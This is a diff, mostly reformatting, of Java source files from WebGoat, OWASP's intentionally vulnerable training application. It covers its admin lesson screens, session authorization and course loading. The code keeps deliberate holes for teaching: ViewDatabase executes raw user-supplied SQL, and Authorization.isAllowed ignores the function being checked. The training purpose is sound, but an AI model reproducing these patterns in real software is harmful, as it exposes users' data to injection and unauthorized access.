protected Element makeUser(WebSession s, String user) protected Element makeUser(WebSession s, String user)
{ {
H2 h2 = new H2(); H2 h2 = new H2();
// FIXME: The session is the current session, not the session of the user we are reporting. // FIXME: The session is the current session, not the session of the user we are reporting.
//String type = s.isAdmin() ? " [Administrative User]" : s.isHackedAdmin() ? " [Normal User - Hacked Admin Access]" : " [Normal User]"; // String type = s.isAdmin() ? " [Administrative User]" : s.isHackedAdmin() ? " [Normal User
// - Hacked Admin
// Access]" : " [Normal User]";
String type = ""; String type = "";
h2.addElement(new StringElement("Results for: " + user + type)); h2.addElement(new StringElement("Results for: " + user + type));
return h2; return h2;
} }
/** /**
* Description of the Method * Description of the Method
* *

113
main/project/JavaSource/org/owasp/webgoat/lessons/admin/SummaryReportCardScreen.java
View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import java.util.Enumeration; import java.util.Enumeration;
import java.util.Iterator; import java.util.Iterator;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.HtmlColor; import org.apache.ecs.HtmlColor;
@ -21,32 +21,31 @@ import org.owasp.webgoat.session.Screen;
import org.owasp.webgoat.session.UserTracker; import org.owasp.webgoat.session.UserTracker;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -60,11 +59,11 @@ public class SummaryReportCardScreen extends LessonAdapter
private int totalUsersAdminComplete = 0; private int totalUsersAdminComplete = 0;
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -95,8 +94,7 @@ public class SummaryReportCardScreen extends LessonAdapter
} }
} }
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -105,16 +103,15 @@ public class SummaryReportCardScreen extends LessonAdapter
ec.addElement(new P()); ec.addElement(new P());
Table t = new Table().setCellSpacing(0).setCellPadding(4).setBorder(1) Table t = new Table().setCellSpacing(0).setCellPadding(4).setBorder(1).setWidth("100%");
.setWidth("100%");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
t.addElement(makeUserSummaryHeader()); t.addElement(makeUserSummaryHeader());
for (Iterator<String> userIter = UserTracker.instance().getAllUsers( for (Iterator<String> userIter = UserTracker.instance().getAllUsers(WebSession.WEBGOAT_USER).iterator(); userIter
WebSession.WEBGOAT_USER).iterator(); userIter.hasNext();) .hasNext();)
{ {
String user = userIter.next(); String user = userIter.next();
@ -126,11 +123,9 @@ public class SummaryReportCardScreen extends LessonAdapter
return ec; return ec;
} }
protected Element makeSummary(WebSession s) protected Element makeSummary(WebSession s)
{ {
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0) Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("100%");
.setWidth("100%");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
@ -140,36 +135,29 @@ public class SummaryReportCardScreen extends LessonAdapter
// t.addElement( tr ); // t.addElement( tr );
tr = new TR(); tr = new TR();
tr.addElement(new TD().setWidth("60%").addElement( tr.addElement(new TD().setWidth("60%").addElement("Total number of users"));
"Total number of users"));
tr.addElement(new TD().setAlign("LEFT").addElement( tr.addElement(new TD().setAlign("LEFT").addElement(
Integer.toString(UserTracker.instance().getAllUsers( Integer.toString(UserTracker.instance()
WebSession.WEBGOAT_USER).size()))); .getAllUsers(WebSession.WEBGOAT_USER).size())));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().setWidth("60%").addElement( tr.addElement(new TD().setWidth("60%").addElement("Total number of users that completed all normal lessons"));
"Total number of users that completed all normal lessons")); tr.addElement(new TD().setAlign("LEFT").addElement(Integer.toString(totalUsersNormalComplete)));
tr.addElement(new TD().setAlign("LEFT").addElement(
Integer.toString(totalUsersNormalComplete)));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().setWidth("60%").addElement( tr.addElement(new TD().setWidth("60%").addElement("Total number of users that completed all admin lessons"));
"Total number of users that completed all admin lessons")); tr.addElement(new TD().setAlign("LEFT").addElement(Integer.toString(totalUsersAdminComplete)));
tr.addElement(new TD().setAlign("LEFT").addElement(
Integer.toString(totalUsersAdminComplete)));
t.addElement(tr); t.addElement(tr);
return t; return t;
} }
private void deleteUser(String user) private void deleteUser(String user)
{ {
UserTracker.instance().deleteUser(user); UserTracker.instance().deleteUser(user);
} }
/** /**
* Gets the category attribute of the UserAdminScreen object * Gets the category attribute of the UserAdminScreen object
* *
@ -182,13 +170,11 @@ public class SummaryReportCardScreen extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(1000); private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the role attribute of the UserAdminScreen object * Gets the role attribute of the UserAdminScreen object
* *
@ -199,7 +185,6 @@ public class SummaryReportCardScreen extends LessonAdapter
return ADMIN_ROLE; return ADMIN_ROLE;
} }
/** /**
* Gets the title attribute of the UserAdminScreen object * Gets the title attribute of the UserAdminScreen object
* *
@ -210,11 +195,11 @@ public class SummaryReportCardScreen extends LessonAdapter
return ("Summary Report Card"); return ("Summary Report Card");
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeMessages(WebSession s) protected Element makeMessages(WebSession s)
@ -224,7 +209,6 @@ public class SummaryReportCardScreen extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Description of the Method * Description of the Method
* *
@ -243,12 +227,13 @@ public class SummaryReportCardScreen extends LessonAdapter
return tr; return tr;
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @param user Description of the Parameter * Description of the Parameter
* @param user
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeUserSummaryRow(WebSession s, String user) protected Element makeUserSummaryRow(WebSession s, String user)
@ -261,14 +246,13 @@ public class SummaryReportCardScreen extends LessonAdapter
boolean normalComplete = false; boolean normalComplete = false;
boolean adminComplete = false; boolean adminComplete = false;
for (Iterator lessonIter = s.getCourse().getLessons(s, for (Iterator lessonIter = s.getCourse().getLessons(s, AbstractLesson.USER_ROLE).iterator(); lessonIter
AbstractLesson.USER_ROLE).iterator(); lessonIter.hasNext();) .hasNext();)
{ {
lessonCount++; lessonCount++;
Screen screen = (Screen) lessonIter.next(); Screen screen = (Screen) lessonIter.next();
LessonTracker lessonTracker = UserTracker.instance() LessonTracker lessonTracker = UserTracker.instance().getLessonTracker(s, user, screen);
.getLessonTracker(s, user, screen);
if (lessonTracker.getCompleted()) if (lessonTracker.getCompleted())
{ {
passedCount++; passedCount++;
@ -279,21 +263,18 @@ public class SummaryReportCardScreen extends LessonAdapter
normalComplete = true; normalComplete = true;
totalUsersNormalComplete++; totalUsersNormalComplete++;
} }
String text = Integer.toString(passedCount) + " of " String text = Integer.toString(passedCount) + " of " + Integer.toString(lessonCount);
+ Integer.toString(lessonCount);
tr.addElement(new TD().setAlign("CENTER").addElement(text)); tr.addElement(new TD().setAlign("CENTER").addElement(text));
lessonCount = 0; lessonCount = 0;
passedCount = 0; passedCount = 0;
for (Iterator lessonIter = s.getCourse().getLessons(s, for (Iterator lessonIter = s.getCourse().getLessons(s, AbstractLesson.HACKED_ADMIN_ROLE).iterator(); lessonIter
AbstractLesson.HACKED_ADMIN_ROLE).iterator(); lessonIter
.hasNext();) .hasNext();)
{ {
lessonCount++; lessonCount++;
Screen screen = (Screen) lessonIter.next(); Screen screen = (Screen) lessonIter.next();
LessonTracker lessonTracker = UserTracker.instance() LessonTracker lessonTracker = UserTracker.instance().getLessonTracker(s, user, screen);
.getLessonTracker(s, user, screen);
if (lessonTracker.getCompleted()) if (lessonTracker.getCompleted())
{ {
passedCount++; passedCount++;
@ -304,14 +285,11 @@ public class SummaryReportCardScreen extends LessonAdapter
adminComplete = true; adminComplete = true;
totalUsersAdminComplete++; totalUsersAdminComplete++;
} }
text = Integer.toString(passedCount) + " of " text = Integer.toString(passedCount) + " of " + Integer.toString(lessonCount);
+ Integer.toString(lessonCount);
tr.addElement(new TD().setAlign("CENTER").addElement(text)); tr.addElement(new TD().setAlign("CENTER").addElement(text));
tr.addElement(new TD().setAlign("CENTER").addElement( tr.addElement(new TD().setAlign("CENTER").addElement(new Input(Input.SUBMIT, "View_" + user, "View")));
new Input(Input.SUBMIT, "View_" + user, "View"))); tr.addElement(new TD().setAlign("CENTER").addElement(new Input(Input.SUBMIT, "Delete_" + user, "Delete")));
tr.addElement(new TD().setAlign("CENTER").addElement(
new Input(Input.SUBMIT, "Delete_" + user, "Delete")));
if (normalComplete && adminComplete) if (normalComplete && adminComplete)
{ {
@ -329,7 +307,6 @@ public class SummaryReportCardScreen extends LessonAdapter
return (tr); return (tr);
} }
public boolean isEnterprise() public boolean isEnterprise()
{ {
return true; return true;

49
main/project/JavaSource/org/owasp/webgoat/lessons/admin/UserAdminScreen.java
View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import java.sql.Connection; import java.sql.Connection;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.ResultSetMetaData; import java.sql.ResultSetMetaData;
import java.sql.Statement; import java.sql.Statement;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category; import org.owasp.webgoat.lessons.Category;
@ -12,32 +12,31 @@ import org.owasp.webgoat.lessons.LessonAdapter;
import org.owasp.webgoat.session.DatabaseUtilities; import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -52,7 +51,8 @@ public class UserAdminScreen extends LessonAdapter
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -63,8 +63,7 @@ public class UserAdminScreen extends LessonAdapter
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement( Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(QUERY); ResultSet results = statement.executeQuery(QUERY);
@ -72,11 +71,9 @@ public class UserAdminScreen extends LessonAdapter
{ {
makeSuccess(s); makeSuccess(s);
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
resultsMetaData));
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -85,7 +82,6 @@ public class UserAdminScreen extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the UserAdminScreen object * Gets the category attribute of the UserAdminScreen object
* *
@ -98,13 +94,11 @@ public class UserAdminScreen extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(1000); private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the role attribute of the UserAdminScreen object * Gets the role attribute of the UserAdminScreen object
* *
@ -115,7 +109,6 @@ public class UserAdminScreen extends LessonAdapter
return HACKED_ADMIN_ROLE; return HACKED_ADMIN_ROLE;
} }
/** /**
* Gets the title attribute of the UserAdminScreen object * Gets the title attribute of the UserAdminScreen object
* *

56
main/project/JavaSource/org/owasp/webgoat/lessons/admin/ViewDatabase.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import java.sql.Connection; import java.sql.Connection;
@ -13,32 +14,31 @@ import org.apache.ecs.StringElement;
import org.apache.ecs.html.Input; import org.apache.ecs.html.Input;
import org.owasp.webgoat.session.*; import org.owasp.webgoat.session.*;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -53,7 +53,8 @@ public class ViewDatabase extends LessonAdapter
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -64,8 +65,7 @@ public class ViewDatabase extends LessonAdapter
{ {
ec.addElement(new StringElement("Enter a SQL statement: ")); ec.addElement(new StringElement("Enter a SQL statement: "));
StringBuffer sqlStatement = new StringBuffer(s.getParser() StringBuffer sqlStatement = new StringBuffer(s.getParser().getRawParameter(SQL, ""));
.getRawParameter(SQL, ""));
Input input = new Input(Input.TEXT, SQL, sqlStatement.toString()); Input input = new Input(Input.TEXT, SQL, sqlStatement.toString());
ec.addElement(input); ec.addElement(input);
@ -77,23 +77,19 @@ public class ViewDatabase extends LessonAdapter
if (sqlStatement.length() > 0) if (sqlStatement.length() > 0)
{ {
Statement statement = connection.createStatement( Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(sqlStatement ResultSet results = statement.executeQuery(sqlStatement.toString());
.toString());
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
makeSuccess(s); makeSuccess(s);
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
resultsMetaData));
} }
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -102,7 +98,6 @@ public class ViewDatabase extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the DatabaseScreen object * Gets the category attribute of the DatabaseScreen object
* *
@ -115,13 +110,11 @@ public class ViewDatabase extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(1000); private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the hints attribute of the DatabaseScreen object * Gets the hints attribute of the DatabaseScreen object
* *
@ -135,7 +128,6 @@ public class ViewDatabase extends LessonAdapter
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the ViewDatabase object * Gets the instructions attribute of the ViewDatabase object
* *
@ -148,7 +140,6 @@ public class ViewDatabase extends LessonAdapter
return (instructions); return (instructions);
} }
/** /**
* Gets the role attribute of the ViewDatabase object * Gets the role attribute of the ViewDatabase object
* *
@ -159,7 +150,6 @@ public class ViewDatabase extends LessonAdapter
return HACKED_ADMIN_ROLE; return HACKED_ADMIN_ROLE;
} }
/** /**
* Gets the title attribute of the DatabaseScreen object * Gets the title attribute of the DatabaseScreen object
* *

48
main/project/JavaSource/org/owasp/webgoat/lessons/admin/WelcomeAdminScreen.java
View File

@ -1,39 +1,38 @@
package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import org.owasp.webgoat.lessons.WelcomeScreen; import org.owasp.webgoat.lessons.WelcomeScreen;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.Center; import org.apache.ecs.html.Center;
import org.apache.ecs.html.H1; import org.apache.ecs.html.H1;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -46,39 +45,38 @@ public class WelcomeAdminScreen extends WelcomeScreen
/** /**
* Constructor for the WelcomeAdminScreen object * Constructor for the WelcomeAdminScreen object
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
*/ */
public WelcomeAdminScreen(WebSession s) public WelcomeAdminScreen(WebSession s)
{ {
super(s); super(s);
} }
/** /**
* Constructor for the WelcomeAdminScreen object * Constructor for the WelcomeAdminScreen object
*/ */
public WelcomeAdminScreen() public WelcomeAdminScreen()
{} {
}
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new Center( ec.addElement(new Center(new H1("You are logged on as an administrator")));
new H1("You are logged on as an administrator")));
ec.addElement(super.createContent(s)); ec.addElement(super.createContent(s));
return (ec); return (ec);
} }
/** /**
* Gets the title attribute of the WelcomeAdminScreen object * Gets the title attribute of the WelcomeAdminScreen object
* *

2
main/project/JavaSource/org/owasp/webgoat/servlets/Controller.java
View File

@ -1 +1 @@
package org.owasp.webgoat.servlets;

38
main/project/JavaSource/org/owasp/webgoat/session/Authorization.java
View File

@ -1,34 +1,34 @@
package org.owasp.webgoat.session; package org.owasp.webgoat.session;
import java.util.Hashtable; import java.util.Hashtable;
import java.util.Map; import java.util.Map;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -37,17 +37,15 @@ public class Authorization
Map<Integer, Integer> permissions = new Hashtable<Integer, Integer>(); Map<Integer, Integer> permissions = new Hashtable<Integer, Integer>();
public Authorization() public Authorization()
{} {
}
public void setPermission(int userId, int functionId) public void setPermission(int userId, int functionId)
{ {
permissions.put(new Integer(userId), new Integer(functionId)); permissions.put(new Integer(userId), new Integer(functionId));
} }
public boolean isAllowed(int userId, int functionId) public boolean isAllowed(int userId, int functionId)
{ {
return (permissions.get(new Integer(userId)) != null); return (permissions.get(new Integer(userId)) != null);

113
main/project/JavaSource/org/owasp/webgoat/session/Course.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.session; package org.owasp.webgoat.session;
import java.io.File; import java.io.File;
@ -9,39 +10,36 @@ import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.Vector; import java.util.Vector;
import java.util.LinkedList; import java.util.LinkedList;
import javax.servlet.ServletContext; import javax.servlet.ServletContext;
import org.owasp.webgoat.HammerHead; import org.owasp.webgoat.HammerHead;
import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Category; import org.owasp.webgoat.lessons.Category;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -66,8 +64,7 @@ public class Course
try try
{ {
properties = new WebgoatProperties(PROPERTIES_FILENAME); properties = new WebgoatProperties(PROPERTIES_FILENAME);
} } catch (IOException e)
catch (IOException e)
{ {
System.out.println("Error loading WebGoat properties"); System.out.println("Error loading WebGoat properties");
e.printStackTrace(); e.printStackTrace();
@ -117,12 +114,13 @@ public class Course
return sb.toString(); return sb.toString();
} }
/** /**
* Takes a file name and builds the class file name * Takes a file name and builds the class file name
* *
* @param fileName Description of the Parameter * @param fileName
* @param path Description of the Parameter * Description of the Parameter
* @param path
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
private static String getClassFile(String fileName, String path) private static String getClassFile(String fileName, String path)
@ -131,13 +129,9 @@ public class Course
fileName = fileName.trim(); fileName = fileName.trim();
/** /**
* We do not handle directories. * We do not handle directories. We do not handle files with different extensions
* We do not handle files with different extensions
*/ */
if(fileName.endsWith("/") || !fileName.endsWith(ext)) if (fileName.endsWith("/") || !fileName.endsWith(ext)) { return null; }
{
return null;
}
// if the file is in /WEB-INF/classes strip the dir info off // if the file is in /WEB-INF/classes strip the dir info off
int index = fileName.indexOf("/WEB-INF/classes/"); int index = fileName.indexOf("/WEB-INF/classes/");
@ -181,7 +175,6 @@ public class Course
return categories; return categories;
} }
/** /**
